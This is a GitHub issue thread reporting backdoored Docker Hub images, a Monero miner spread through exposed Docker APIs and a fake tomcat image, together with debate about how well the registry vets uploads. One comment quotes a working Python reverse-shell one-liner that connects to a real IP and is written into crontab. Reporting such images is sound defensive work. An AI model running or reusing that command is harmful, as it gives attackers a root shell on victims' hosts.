[dockmylife/memorytest] Report malicious image

[Platzii]

Hi all

I would like to report this malicious image: https://hub.docker.com/r/dockmylife/memorytest/ It contains a miner for Monero.

This got deployed on one of our servers which a faulty firewall setting (Docker API port was exposed accidentally). This means the "creators" of the image are actively scanning the Internet for exposed Docker APIs in order to run this image on them.

The container keeps spinning up even after firewall fix and deleting the container and image. In order to stop it, the Docker daemon needs to be restarted.

Kind regards Simon

[linzehuan]

Me to!

[sebs]

we can investigate the image and find at least the addresses and maybe a mining pool this is assigned to?

[0cjs]

You probably want to completely wipe and reinstall that host that was running Docker; access to the Docker daemon can be exploited to get root access on the system running it.

[mrVragec]

In my case I found out address and mining pool in docker container info.

Address: 47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3 Mining pool: http://minexmr.com

That was in my case.

[Platzii]

Same,

"pool_address" : "pool.minexmr.com:7777",
"wallet_address" : "47ZaBbPk8T7TQa1Q7NdB2wAw6Y38DtjNgjKU2QBssUb2fcL7q3aR4kMhG7hfqNha3JEYnveoEQHPVb8zBnUFjRvc8JTpRW3",
"pool_password" : "x",

[Shredder121]

An interesting observation I did yesterday (right about 16 hours ago already by now).

The image had 100K+ pulls, yet 0 stars Maybe use that as a heuristic that something is wrong, or that it should be looked at?

[pquerner]

Stars may be faked by bots, if you take that into heuristic analysis.

[Shredder121]

Good point, good point indeed. Just wanted to add my 2 cents.

[TacticalCode]

Are images on Docker Hub tested for malware in any way? I think a sandbox test, just to look for IP connections, or scanning open ports, should filter off the majority of troublemakers. For now... I'd certainly be happy to see as public information on DockerHub what IP connections an images establishes when booted up, and what ports are being opened. A memcheck image that establishes any IP connection is (or should be) suspicous enough to halt the public release on DockerHub, until the image creator gives a statement.

[Platzii]

I don't think you can blame the image, what if you really want to containerise a miner? Although I agree on the misleading image name.

In the meanwhile I've noticed the image has been removed but what keeps the creators of it away to create the same image with another name?

The real issue here is the exposed Docker API. As mentioned by @Shredder121 the image had more than 100K+ pulls, so a lot of APIs are exposed. This can be abused a lot more than just running a miner..

[sebs]

the way monero works, there is a private key required to see the balance contents of and transaction. The pool password is interesting

[Fusl]

The real issue here is the exposed Docker API.

This. It is possible to deploy a private registry server for storing the malicious image instead of using the Docker Hub. Removing the image from the Docker Hub does not fix the actual problem that the administrators themself have caused by exposing the API port without actually knowing what they're doing. This is literally the same as blaming your favorite Linux flavor for hosting applications in their repositories, allowing attackers to run arbitrary code while it was actually you who set the root password to test with SSH configured on a public interface and password authentication enabled.

[FlorianHeigl]

@TacticalCode things that get massive dev adoption:

• [x] something that avoids good practice.
• [x] something that avoids security.
• [x] something where you can armchair discuss how security should be done while doing nothing.
• [x] something that let's people run stuff right off the internet.

[jack0]

We encountered this, also a malicious image. Shows the same pattern 100K+ pulls and 0 stars.

https://hub.docker.com/r/docker123321/tomcat/

It executes this command to create a backdoor: /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"98.142.140.13\\\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab

[lillypad]

@jack0 And this user is still up on Docker Hub in 2018 docker123321

https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html

[somehowadev]

Do you guys actually check what you're pulling? Also just stop exposing the API.

[hawran]

https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers

OMG, for almost a year?

[Aditya94A]

Now everyone who read the article will come here and wake up the people who forgot about this for about a year lol

[imsrgadich]

https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/

This bought me here.

[deadbits]

Everyone should hopefully know to check what they are downloading and running first, sure, but I'd also hope that Docker could perform some checks to ensure the image is what is says, and is only what it says.

This has been going on for quite awhile and so far I don't see anyone from Hub here with comments on how this could be addressed going forward.

But these problems in this ticket aren't coming from some user created private registry... It's Docker Hub and bad actors uploading images to Hub without any checks in place to ensure validity.

Docker Hub here is essentially a free for all for hosting backdoored or straight up malicious images with purposely misleading names, all going un-monitored, and not being taken down after months of user complaints.

I'd be interested to see how wide spread this abuse actually is, because I imagine it's much higher than the handful of publicity noted cases linked in this thread.

[rodizio1]

Why do you guys still host a backdoored image 9 months after somebody told you about it?

[flushentitypacket]

@deadbits Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this. You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded. Docker Hub is not an anti-malware service and should not have to pay that cost.

That said, I do think that Docker Hub (and any other package hosting service, e.g. npm) provides the uneducated developer a really powerful and easy to use footgun. Hopefully, the community can put their heads together and make it a bit harder for devs to shoot themselves in the foot.

[deadbits]

@flushentitypacket

Do you have any ideas on what "checks" to "ensure validity" would be? As far as I tell, there is no realistic way to do this.

I'll have to give some thought to what checks could be performed. Also, just a side note here, but putting "checks" and "ensure validity" in quotes from my original posts content is an attempt by you to diminish the concept in general, which isn't incredibly productive for anyone. If you immediately dismiss the idea at large, then no wonder you see it as an unrealistic problem.

Static and dynamic security scans are built into many CI/CD pipelines and exist for almost every language / platform. I'm sure something can be imagined that would not but a huge burden on Docker Hub and better the security of uploaded images overall.

You'd have to define what qualifies as a "malicious image" and somehow get the manpower to have someone pore over the source of every image that is being requested to be uploaded.

If you can define what qualifies as a malicious image, you wouldn't need users to manually look at the source of every image - it seems this could be automated during upload if malicious attributes could be defined.

Docker Hub is not an anti-malware service and should not have to pay that cost.

Docker Hub also shouldn't be openly hosting malware, especially not for over a year after it's been reported to them. Whether they simply get better at abuse complaints or provide some post-upload analysis, it's pretty clear that something should probably be done.

[FlorianHeigl]

The question if checks can be done is one that had to be asked when the product was created. If there's no answer, there can't be a public product with public upload.
This isn't the users' concern, and does not go away simply by hitting them on the head saying "but it's not an official image".
If someone provides a platform that can be filled with crap by malicious actors and has no checks in place, they have the problem. They created the problem.

Assuming that everyone still thinks this part (running untrusted crap because there's no official version or one doesn't use their brain at all) of the plaform (that solved the 2003-era problem of managing image sprawl) is valuable, then a solution has to be sought and enforced by default.

Of course it'll not be absolute. Yet, the current one IS absolute:

• Doing absolutely nothing and
• giving absolutely no attention to reports within reasonable time,
• doing absolutely no post-action after the repo is deleted,
• announcing absolutely nothing to work as a stopgap until more reliable solutions have been found.

If anyone here needs to understand the concept of being responsible for what one provides, call your parents, unless they also only have friends who work in sw eng.

Symptom fixes

Like, things that have been tried one or two times. They are not absolute, but seem to work on the level that is needed to have a society?

• signup actually verifies people
• vetting (don't show up in every search on the client, but is visible in hub)
• warning if low vetting displayed and blocks build until ACKed
• listing what random parts are being downloaded, at least from the dockerfile itself

[flushentitypacket]

@deadbits Apologies if it came across that way, I was intending to use quotes as quotes are normally intended (as a quote from the original author), not to express sarcasm or tone. Except in the case of "malicious image", in which I was indicating that the term does not have exact definition.

Could be that I'm overestimating how much work it is to perform the types of checks you're describing, but it sure sounds pretty tough to me. As others have said, having something like a crypto miner in an image is a perfectly valid use case, so that alone is not a good indicator of malice. Or even a combination of software XYZ + crypto miner--what if the author's intent is that the user may donate to the author by running the software as-is (or they may choose to remove the crypto miner as an opt-out)?

All that said, I do hope that there is something that can be done to help people not to shoot themselves in the foot. I'm just pessimistic that there are many low-hanging fruit

[jmwong]

We would like to apologize for the delay in responding to this thread. We have removed the reported repositories. Our team is hard at work to improve the user experience on Docker Hub.

As with any public repositories, Docker Hub is there for the service of the community. When dealing with open public repositories and open source code, we recommend that you follow a few best practices. We recommend that users use curated official images in Docker Hub and certified content in Docker Store whenever possible. For community images, verify the content author and inspect the content of the image before running.

Docker does not normally police community images unless they contain illegal content. We do, however, employ dedicated teams to curate official images on Docker Hub and certified images on Docker Store. All official images on Docker Hub (https://hub.docker.com/official/) are actively scanned for vulnerabilities. The security scanning results are available on each tag. Most popular images are available as official images, including nginx, tomcat, mysql, and 100+ others. You can read more about how we keep official images secure here: https://docs.docker.com/docker-hub/official_repos/#how-do-i-know-the-official-repositories-are-secure

Apart from official images on Docker Hub, Docker Store hosts images published by qualified publishers. Our teams ensure that certified images on Docker Store meet certain quality and security criteria. You can read more about Docker Store here: https://docs.docker.com/docker-store/#how-is-docker-store-different-from-docker-hub-what-about-official-images.

[bakrowork]

+1 here: https://github.com/RD17/ambar/issues/171

[hawran]

@jmwong commented We would like to apologize for the delay in responding to this thread.

Well,

@Platzii opened this Issue on Aug 7, 2017...

[github-actions[bot]]

We are clearing up our old issues and your ticket has been open for one year with no activity. Remove stale label or comment or this will be closed in 15 days.